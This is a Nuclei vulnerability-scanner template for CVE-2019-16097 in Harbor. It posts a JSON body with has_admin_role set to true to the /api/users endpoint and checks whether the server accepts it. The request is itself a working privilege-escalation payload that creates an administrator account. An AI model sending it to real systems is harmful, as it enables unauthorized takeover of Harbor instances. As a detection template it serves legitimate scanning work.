29 lines
812 B
YAML
29 lines
812 B
YAML
|
id: CVE-2019-16097
|
||
|
info:
|
||
|
name: Harbor Enables Privilege Escalation From Zero to admin
|
||
|
author: pikpikcu
|
||
|
severity: critical
|
||
|
issues: https://github.com/goharbor/harbor/issues/8951
|
||
|
refrence: https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
|
||
|
|
||
|
requests:
|
||
|
- method: POST
|
||
|
path:
|
||
|
- '{{BaseURL}}/api/users'
|
||
|
headers:
|
||
|
Content-Type: application/json
|
||
|
body: |
|
||
|
{"username": "nuclei", "has_admin_role": true, "password": "NucleiTest!", "email": "zerozero@example.com", "realname": "nuclei"}
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- "username has already been used"
|
||
|
part: body
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 201
|
||
|
- 409
|